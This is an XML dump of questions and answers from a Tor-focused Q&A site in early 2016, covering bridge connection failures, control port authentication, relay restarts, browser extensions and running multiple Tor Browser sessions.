  <row Id="9337" PostTypeId="1" CreationDate="2016-01-01T15:30:49.467" Score="1" ViewCount="15" Body="&lt;p&gt;I have tried every thing and I even mailed for new bridges but nothing is getting connected.Its stuck at 10%.I have tried obfs3, obfs4 everything.I don't have access to VPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the tor log.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1/1/2016 20:53:55 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/1/2016 20:53:55 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/1/2016 20:53:55 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/1/2016 20:53:55 PM.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;1/1/2016 20:53:55 PM.500 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;1/1/2016 20:53:55 PM.700 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;1/1/2016 20:54:15 PM.900 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;1/1/2016 20:54:15 PM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/1/2016 20:54:15 PM.900 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;1/1/2016 20:54:15 PM.900 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 1; recommendation warn; host E946C3D2C0AC0E68549A2F719A30595BA6861E05 at 188.166.236.149:8443) &#xA;1/1/2016 20:54:15 PM.900 [WARN] 1 connections have failed: &#xA;1/1/2016 20:54:15 PM.900 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;1/1/2016 20:54:20 PM.800 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 2; recommendation warn; host 09A12F6C061847F57C5A122BF2B9797B6671EE28 at 178.54.4.48:443) &#xA;1/1/2016 20:54:20 PM.800 [WARN] 3 connections have failed: &#xA;1/1/2016 20:54:20 PM.800 [WARN]  2 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;1/1/2016 20:54:20 PM.800 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me configure this?&lt;/p&gt;&#xA;" OwnerUserId="10366" LastEditorUserId="10366" LastEditDate="2016-01-02T11:06:15.817" LastActivityDate="2016-01-02T11:06:15.817" Title="Cannot connect via Tor" Tags="|configuration|bridge|" AnswerCount="0" CommentCount="1" ClosedDate="2016-01-03T16:58:51.563" ContentLicense="CC BY-SA 3.0" />
  <row Id="9338" PostTypeId="2" ParentId="6203" CreationDate="2016-01-01T17:39:47.897" Score="0" Body="&lt;p&gt;I think DNS traffic is not blocked/censored by Cyberoam. In that case, there is a way to tunnel your IP traffic over DNS. Have a look at &lt;a href=&quot;http://code.kryo.se/iodine/&quot; rel=&quot;nofollow&quot;&gt;iodine&lt;/a&gt; and here are &lt;a href=&quot;http://hblok.net/blog/posts/2013/04/24/iodine-ip-over-dns/&quot; rel=&quot;nofollow&quot;&gt;instructions&lt;/a&gt; to set it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically you will need to do the following -&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get a VPS server (digitalocean, linode and like) and install iodine server on it. (cost: ~$5)&lt;/li&gt;&#xA;&lt;li&gt;Buy a domain name, if you don't have one. The create a sub-domain and point it's nameserver to your VPS server IP. (cost: ~$8)&lt;/li&gt;&#xA;&lt;li&gt;Lastly install the iodine client on your computer and start tunneling traffic via it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The above does require basic familiarity with linux and some monetary investment on your part. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternatively&lt;/strong&gt;: Most common proxy servers are blocked via a backlist. So if you pay for your own VPS server (about $5), you can also install an HTTP proxy on it. It should be quickest way to get started.&lt;/p&gt;&#xA;" OwnerUserId="10367" LastActivityDate="2016-01-01T17:39:47.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9339" PostTypeId="2" ParentId="9171" CreationDate="2016-01-01T19:32:32.367" Score="0" Body="&lt;p&gt;If you are on a linux machine (possibly also other OSes), you can try the &lt;code&gt;torify&lt;/code&gt; tool which comes with tor.  It receives a command line as an argument and sends the TCP connections of that program through the Tor process running on your machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I use it myself to connect to a sshd running on my .onion from outside.&lt;/p&gt;&#xA;" OwnerUserId="10368" LastActivityDate="2016-01-01T19:32:32.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9341" PostTypeId="1" AcceptedAnswerId="9342" CreationDate="2016-01-01T21:01:36.197" Score="2" ViewCount="3370" Body="&lt;p&gt;I want to use privoxy and tor to avoid leaks that happen easily on standard web browsers. I've configured privoxy to send web trafic to a port where tor is listening and edited the torrc to listen to this port but I also added &lt;code&gt;ControlPort auto&lt;/code&gt; which generates a warning when I run &lt;code&gt;--verify-config&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ControlPort is open, but no authentication method has been configured.  This means that any program on your computer can reconfigure your Tor.  That's bad!  You should upgrade your Tor controller as soon as possible&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I know I should be using some kind of authentification but can't figure out how to do it. Can I just use &lt;code&gt;--hash-password&lt;/code&gt; ? does this mean I should reconfigure privoxy ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Config : debian 8, tor 0.2.5.12, privoxy 3.0.21&lt;/p&gt;&#xA;" OwnerUserId="9503" LastActivityDate="2016-01-02T02:21:41.010" Title="Warning : control port is open but no authentication method has been configured" Tags="|configuration|web-proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9342" PostTypeId="2" ParentId="9341" CreationDate="2016-01-02T02:21:41.010" Score="3" Body="&lt;p&gt;Authentication is easy and set in your torrc. See &lt;a href=&quot;https://stem.torproject.org/tutorials/the_little_relay_that_could.html&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2016-01-02T02:21:41.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9343" PostTypeId="1" CreationDate="2016-01-02T22:01:40.863" Score="1" ViewCount="2646" Body="&lt;p&gt;I'm on a MacBook Pro. Can I install the Dashlane extension on Tor Browser? How?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try through Dashlane it says: &quot;Update error. Retrying in a few minutes,&quot; but the message never goes away, and Tor does not appear in the browsers listed in Preferences, that I could click to have Dashlane install the extension.&lt;/p&gt;&#xA;" OwnerUserId="10376" LastEditorUserId="71" LastEditDate="2016-01-04T11:57:40.187" LastActivityDate="2016-01-04T11:57:40.187" Title="Can I install Dashlane extension on Tor Browser?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9344" PostTypeId="2" ParentId="3336" CreationDate="2016-01-03T00:14:17.613" Score="0" Body="&lt;p&gt;Use normal Firefox, not the one shipped in TBB : it's a bit different one, and Selenium's troubles with it are well-known. The core of the problems is that it is a Long-Term support version WITH patches from a newer versions of FF, but it identivies it's &lt;em&gt;version number&lt;/em&gt; as lower(older) one, and that's blows up alot of add-ons' minds. Use FoxyProxy in regular FF and you will be just fine =) Figured it iut some years ago myself after a night of trouble-googling&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-03T00:14:17.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9345" PostTypeId="2" ParentId="9343" CreationDate="2016-01-03T00:17:03.833" Score="0" Body="&lt;p&gt;Use a regular Firefox browser connected to Tor via FoxyProxy, don't use a bundled one. It's a different version : old version with backported patches from new ones, so it's API/behaviour is odd sometimes, and it does not allows some extensions to work normal. feel free to ask if you have further questions&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-03T00:17:03.833" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9346" PostTypeId="2" ParentId="6939" CreationDate="2016-01-03T00:19:34.513" Score="2" Body="&lt;p&gt;Use Polipo as a HTTP/HTTPS proxy : &lt;a href=&quot;http://www.pps.univ-paris-diderot.fr/~jch/software/polipo/&quot; rel=&quot;nofollow&quot;&gt;official website&lt;/a&gt; and &lt;a href=&quot;https://github.com/jech/polipo&quot; rel=&quot;nofollow&quot;&gt;GitHub sources&lt;/a&gt;. Not all apps are good with SOCKS proxies&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-03T00:19:34.513" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9347" PostTypeId="1" CreationDate="2016-01-03T08:44:26.163" Score="0" ViewCount="548" Body="&lt;p&gt;How can I download a file (fileme.us) in tor browser? Whenever I click &quot;download&quot; does not enter the offerings so that I can complete to perform the download. It is very important if anyone knows, please help me.&lt;/p&gt;&#xA;" OwnerUserId="10278" LastEditorUserId="10278" LastEditDate="2016-01-03T16:46:44.827" LastActivityDate="2016-01-04T13:38:32.840" Title="How can I download a file (fileme.us) in tor browser?" Tags="|configuration|help|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9348" PostTypeId="2" ParentId="9343" CreationDate="2016-01-03T10:10:14.223" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If I can/do install the Dashlane extension, &lt;strong&gt;do I remain anonymous&lt;/strong&gt;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Dashline is a closed-source, third-party add-on. As the source code isn't available, you have &lt;a href=&quot;https://tor.stackexchange.com/a/1345/1730&quot;&gt;no way of knowing what it's doing&lt;/a&gt;. It could be bypassing any proxy settings, including Tor entirely, revealing your real IP address. Add-ons also add to your unique &lt;a href=&quot;https://tor.stackexchange.com/questions/536/what-is-browser-fingerprinting-what-is-linkability?rq=1&quot;&gt;browser fingerprint&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add-ons and extensions are generally &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#TBBOtherExtensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;recommended against&lt;/a&gt; for exactly these reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same argument can be used to explain why using vanilla Firefox proxied through Tor - instead of the Tor Browser Bundle - is a bad thing. You don't know how Firefox might by bypassing the proxy. (For the many anonymity-related changes that have gone into the Browser Bundle, see the &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Browser Bundle Design&lt;/a&gt; document. See &lt;a href=&quot;https://tor.stackexchange.com/questions/6589/what-are-the-changes-made-to-firefox-in-the-tbb&quot;&gt;here&lt;/a&gt; for an associated discussion.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really &lt;em&gt;have&lt;/em&gt; to install the add-on, then try first allowing add-ons in the &lt;code&gt;config:addons&lt;/code&gt; settings, as per &lt;a href=&quot;https://tor.stackexchange.com/a/1484/1730&quot;&gt;these&lt;/a&gt; instructions.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-01-03T10:10:14.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9350" PostTypeId="1" AcceptedAnswerId="9353" CreationDate="2016-01-03T14:54:25.427" Score="0" ViewCount="1094" Body="&lt;p&gt;I'm running a relay node on my box, and I recently updated the &lt;code&gt;torrc&lt;/code&gt; file (I set a &lt;code&gt;RelayBandwidthRate&lt;/code&gt; and commented out &lt;code&gt;AccountingMax&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then run:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ service tor reload&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this is the output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;* Reloading tor daemon configuration...                 [fail]&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="10380" LastEditorUserId="10380" LastEditDate="2016-01-04T11:41:03.697" LastActivityDate="2016-01-04T11:41:03.697" Title="&quot;Reloading tor daemon configuration... fail&quot; after updating torrc" Tags="|configuration|relays|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9352" PostTypeId="1" CreationDate="2016-01-04T07:37:07.100" Score="2" ViewCount="200" Body="&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt&quot; rel=&quot;nofollow&quot;&gt;control-spec.txt&lt;/a&gt; mentions an &lt;code&gt;ADD_ONION&lt;/code&gt; command to create ephemeral hidden services. Does this exist in the latest stable release of Tor or Tor Browser Bundle?&lt;/p&gt;&#xA;" OwnerUserId="10385" LastActivityDate="2016-05-03T19:01:10.413" Title="Is ADD_ONION control command implemented in the latest stable release?" Tags="|configuration|protocol|network-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9353" PostTypeId="2" ParentId="9350" CreationDate="2016-01-04T10:48:23.320" Score="1" Body="&lt;p&gt;[Update from associated chat session.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relay had hit its accounting limits and entered &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#LimitTotalBandwidth&quot; rel=&quot;nofollow&quot;&gt;hibernate mode&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To bring the service back up it was necessary to &lt;code&gt;restart&lt;/code&gt; it instead of &lt;code&gt;reload&lt;/code&gt; it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ service tor restart&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-01-04T10:48:23.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9355" PostTypeId="2" ParentId="9347" CreationDate="2016-01-04T13:38:32.840" Score="1" Body="&lt;p&gt;This doesn't depend by Tor Browser. If you try to download a file and the site ask you for an offer there is not so much to do, the fact that the site ask you for an offer has nothing to do with Tor Browser.&lt;/p&gt;&#xA;" OwnerDisplayName="user3524" LastActivityDate="2016-01-04T13:38:32.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9357" PostTypeId="2" ParentId="9352" CreationDate="2016-01-04T14:18:19.033" Score="1" Body="&lt;p&gt;According to the line 1405 from control-spec.txt, it's present since Tor 0.2.7.1-alpha. Current Tor Browser Bundle (version 5.0.6) use Tor 0.2.7.6, which is a stable one. ADD_ONION should be implemented.&lt;/p&gt;&#xA;" OwnerUserId="3442" LastActivityDate="2016-01-04T14:18:19.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9358" PostTypeId="2" ParentId="6203" CreationDate="2016-01-05T04:48:05.750" Score="1" Body="&lt;p&gt;Try to seed your Tor instance outside your firewalled network, i.e. via another network exit(wifi, cell, etc.). After that try to use your pre-seeded instance inside the system. And - try to do the same with I2P, and if it will work - use it as HTTP(S) proxy for Tor if you're unable to do the dir connection. Also please post your &lt;code&gt;torrc&lt;/code&gt; and Tor output - I will be able to help you further then.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-05T04:48:05.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9359" PostTypeId="2" ParentId="9158" CreationDate="2016-01-05T04:51:13.397" Score="0" Body="&lt;p&gt;Yes it's possible. One of the simpliest techniques is called &lt;a href=&quot;https://github.com/samyk/evercookie&quot; rel=&quot;nofollow&quot;&gt;Evercookie&lt;/a&gt; and it is just one of the &quot;persistent cookies&quot; family. It's based on system-wide stored data, like HTTPS protocol enforcement cookies and so forth.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-05T04:51:13.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9360" PostTypeId="2" ParentId="9173" CreationDate="2016-01-05T04:56:48.460" Score="-1" Body="&lt;p&gt;You must be sure that the following options are set :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GeoIPExcludeUnknown 1&#xA;StrictNodes 1&#xA;ExitNodes {us}&#xA;AllowSingleHopCircuits 0&#xA;EnforceDistinctSubnets 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-05T04:56:48.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9361" PostTypeId="2" ParentId="1402" CreationDate="2016-01-05T05:00:20.767" Score="2" Body="&lt;p&gt;Static-host is a &lt;a href=&quot;https://freenetproject.org/&quot; rel=&quot;nofollow&quot;&gt;FreeNet&lt;/a&gt;, take a look. Free, distributed, anonymous.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-05T05:00:20.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9362" PostTypeId="1" CreationDate="2016-01-05T07:38:31.143" Score="0" ViewCount="1060" Body="&lt;p&gt;I get set up for just one country, but now need to configure Tor browser to only a fixed ip, if anyone knows, please let me know&lt;/p&gt;&#xA;" OwnerUserId="10278" LastActivityDate="2016-01-05T19:25:44.610" Title="how to configure Tor browser to be with only one IP?" Tags="|configuration|help|" AnswerCount="1" CommentCount="1" ClosedDate="2016-01-05T22:33:36.510" ContentLicense="CC BY-SA 3.0" />
  <row Id="9363" PostTypeId="1" CreationDate="2016-01-05T09:38:30.450" Score="4" ViewCount="9470" Body="&lt;p&gt;I'm using the tor expert bundle for a project and need to configure tor to make a password for control port access to use for an auto switcher. Tried to do &lt;code&gt;tor --hash-password&lt;/code&gt; Password but seems like tor is not in the system yet.&lt;/p&gt;&#xA;" OwnerUserId="10393" LastEditorUserId="88" LastEditDate="2016-01-05T22:32:30.937" LastActivityDate="2016-01-05T22:32:30.937" Title="How do i set up tor command line" Tags="|windows|tor-install|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9364" PostTypeId="1" CreationDate="2016-01-05T10:48:57.420" Score="0" ViewCount="866" Body="&lt;p&gt;id like to have the ability to run multiple sessions in the TOR browser, on OS X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to install firefox extensions that fix multiple sessions, since they are not compatible it seems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't copy the application and rename it, this causes a crash when i attempt to start the second instance of the browser, even if i change ports etc in torrc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't launch multiple instances via shell with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/Applications/TorBrowser.app/Contents/MacOS/firefox -f /usr/local/etc/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;A copy of Tor Browser is already open. Only one copy of Tor Browser can be open at a time.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how do i do this?&lt;/p&gt;&#xA;" OwnerUserId="10394" LastActivityDate="2016-01-05T19:34:56.037" Title="Launch multiple sessions or instances on OS X" Tags="|mac|" AnswerCount="1" CommentCount="1" ClosedDate="2016-01-05T22:34:00.127" ContentLicense="CC BY-SA 3.0" />
  <row Id="9365" PostTypeId="2" ParentId="9362" CreationDate="2016-01-05T19:25:44.610" Score="0" Body="&lt;p&gt;As it said in &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;manual&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;TrackHostExits host,.domain,…&#xA;  For each value in the comma separated list, Tor will track recent connections to hosts that match this value and attempt to reuse the same exit node for each. If the value is prepended with a '.', it is treated as matching an entire domain. If one of the values is just a '.', it means match everything. This option is useful if you frequently connect to sites that will expire all your authentication cookies (i.e. log you out) if your IP address changes. Note that this option does have the disadvantage of making it more clear that a given history is associated with a single user. However, most people who would wish to observe this will observe it through cookies or other protocol-specific means anyhow.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-05T19:25:44.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9366" PostTypeId="2" ParentId="9363" CreationDate="2016-01-05T19:28:39.187" Score="1" Body="&lt;p&gt;If you used a TBB, especially on Windows - of course it's not in your PATH, so just typing &lt;code&gt;tor xxxx&lt;/code&gt; will trigger an error. In your TBB install folder find &lt;code&gt;tor.exe&lt;/code&gt;(Windows) or &lt;code&gt;tor&lt;/code&gt;(non-windows) binary, change directory into this folder and make a command call there. In non-windows use &lt;code&gt;./tor&lt;/code&gt; instead of &lt;code&gt;tor&lt;/code&gt; if it still fails. NEVER add tor binary to your PATH variable regardless of the OS you're using : it's insecure.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-05T19:28:39.187" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9367" PostTypeId="2" ParentId="9364" CreationDate="2016-01-05T19:34:56.037" Score="1" Body="&lt;p&gt;Tor browser is still a firefox, so take a look at the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/Command_Line_Options&quot; rel=&quot;nofollow&quot;&gt;official manual here&lt;/a&gt;&#xA;The sequence is :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a profile in Profile Manager&lt;/li&gt;&#xA;&lt;li&gt;Launch a different instance specifying your new(alternate) profile for each separate session&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you need a separate instances of Tor too, take a look at &lt;code&gt;DataDirectory DIR&lt;/code&gt; in your torrc, make a copy of your &lt;code&gt;torrc&lt;/code&gt; but change a directory path. That's it =) Feel free to ask further questions! &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-05T19:34:56.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9368" PostTypeId="2" ParentId="8603" CreationDate="2016-01-05T19:38:47.160" Score="0" Body="&lt;p&gt;TBB-bundled FireFox, or standalone FF instance - they ARE browsers. And can be tricked to track you outside their own settings. Use a virtual machine hard-routed through Tor if you need to be undetectable. Use a new one(virtual machine with the browser) if you need to change your representation on the other side. But remember - never login into anything, because it will bind your different virtual machines by the account you've just logged in =)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-05T19:38:47.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9371" PostTypeId="1" CreationDate="2016-01-06T13:07:24.977" Score="1" ViewCount="488" Body="&lt;p&gt;Similar to &lt;a href=&quot;https://tor.stackexchange.com/questions/4914/&quot;&gt;Access local router in Tor Browser?&lt;/a&gt;, but I'm using an &lt;a href=&quot;https://learn.adafruit.com/onion-pi?view=all#install-tor&quot; rel=&quot;nofollow&quot;&gt;Onion Pi&lt;/a&gt;. This unfortunately prevents some local uses such &lt;a href=&quot;https://f-droid.org/repository/browse/?fdid=com.volosyukivan&quot; rel=&quot;nofollow&quot;&gt;WiFiKeyboard&lt;/a&gt; which sends typing from a laptop to an Android. I know that it's just a convenience feature, but I would like to learn how to set that up. Reading through the occurrences of &lt;code&gt;192.168&lt;/code&gt; in &lt;a href=&quot;https://gitweb.torproject.org/tor.git/plain/src/config/torrc.sample.in&quot; rel=&quot;nofollow&quot;&gt;the torrc sample&lt;/a&gt; and the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;man page&lt;/a&gt; didn't make the answer clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore: Which &lt;code&gt;torrc&lt;/code&gt; setting corresponds to the answer in the above referenced question (&lt;code&gt;options […] advanced […] network […] connection settings […] choice to not use a proxy for 192.168...)&lt;/code&gt;? What do I have to set in order to allow local connections?&lt;/p&gt;&#xA;" OwnerUserId="6852" LastActivityDate="2016-01-06T18:31:18.873" Title="How to allow local connections via Onion Pi?" Tags="|configuration|raspberry-pi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9372" PostTypeId="1" CreationDate="2016-01-06T15:20:47.460" Score="1" ViewCount="85" Body="&lt;p&gt;What is the cost, if any, to use Virtual Box by Oracle with or through Tor? I have read the Virtual Machines article, the Oracle Terms of Use, the Services Privacy Policy, and the Wiki article link on virtual machines and part of the Wiki article on Virtual Box and have found no information on exact costs to use Virtual Box. &lt;/p&gt;&#xA;" OwnerUserId="10406" LastActivityDate="2016-01-06T17:25:49.383" Title="Cost to use VirtualBox by Oracle" Tags="|anonymity|" AnswerCount="1" CommentCount="3" ClosedDate="2016-01-07T07:19:03.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="9373" PostTypeId="2" ParentId="9372" CreationDate="2016-01-06T17:25:49.383" Score="1" Body="&lt;p&gt;It's free and opensource, except the extension pack : it's free too, but for personal use only. If you're using it for personal needs - just use it, it's totally free. Tor can be a router on a dedicated VM, it's a secure setup, I'm using it myself&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-06T17:25:49.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9374" PostTypeId="2" ParentId="7330" CreationDate="2016-01-06T17:26:00.160" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://svn.torproject.org/svn/projects/design-paper/tor-design.html&quot; rel=&quot;nofollow&quot;&gt;Tor: The Second-Generation Onion Router&lt;/a&gt; explains it pretty well in section &lt;em&gt;4.2 Circuits and Streams&lt;/em&gt;, subsection &lt;em&gt;Relay cells&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Once Alice has established the circuit (so she shares keys with each OR on the circuit), she can send relay cells. Upon receiving a relay cell, an OR looks up the corresponding circuit, and decrypts the relay header and payload with the session key for that circuit. &lt;strong&gt;If the cell is headed away from Alice the OR then checks whether the decrypted cell has a valid digest (as an optimization, the first two bytes of the integrity check are zero, so in most cases we can avoid computing the hash)&lt;/strong&gt;. If valid, it accepts the relay cell and processes it as described below. Otherwise, the OR looks up the circID and OR for the next step in the circuit, replaces the circID as appropriate, and sends the decrypted relay cell to the next OR. (If the OR at the end of the circuit receives an unrecognized relay cell, an error has occurred, and the circuit is torn down.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3442" LastActivityDate="2016-01-06T17:26:00.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9375" PostTypeId="2" ParentId="7330" CreationDate="2016-01-06T17:40:10.130" Score="6" Body="&lt;p&gt;All the nodes after the initial circuit starter are doing rougly the same thing : unwrapping the message by their-and-circuit-starter very own pre-negotiated key ant takig a look at the next layer. After this point four scenario's are in action : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The node is an intermediate, it sees &quot;an envelope with address&quot; in tor network and just passes it by to the receiver. It does not care about the contents, because it is unable to read it : it's encrypted by the key the intermediate node does not have, because it was not negotiated with it.&lt;/li&gt;&#xA;&lt;li&gt;The node is an exit node. It sees &quot;an envelope with an Internet address and port&quot;, and just by seeing this AND because of his role it starts to process the addressee via 'ExitPolicy' directives. If it passes, then an ordinary TCP connection is made, and a tunnel begins to work just like a multi-layer VPN, sort of.&lt;/li&gt;&#xA;&lt;li&gt;The node is a hidden service host. It sees &quot;an envelope with it's own hodden onion service address&quot;, and the node starts to act just like an old good Stunnel app : it tunnels the request to the hidden service itself via TCP tunnel, usually via &lt;code&gt;localhost&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The node is a rendezvouz point for hidden service communication. In this case node already knows about his role, it was pre-negotiated with it, and he sees a message, that he will pass back through another circuit leading to the hidden service host as a starting point of this second circle.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Roughly, that's it, simply putting the things. If you need more details or have further questions - feel free to ask!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-01-06T17:40:10.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
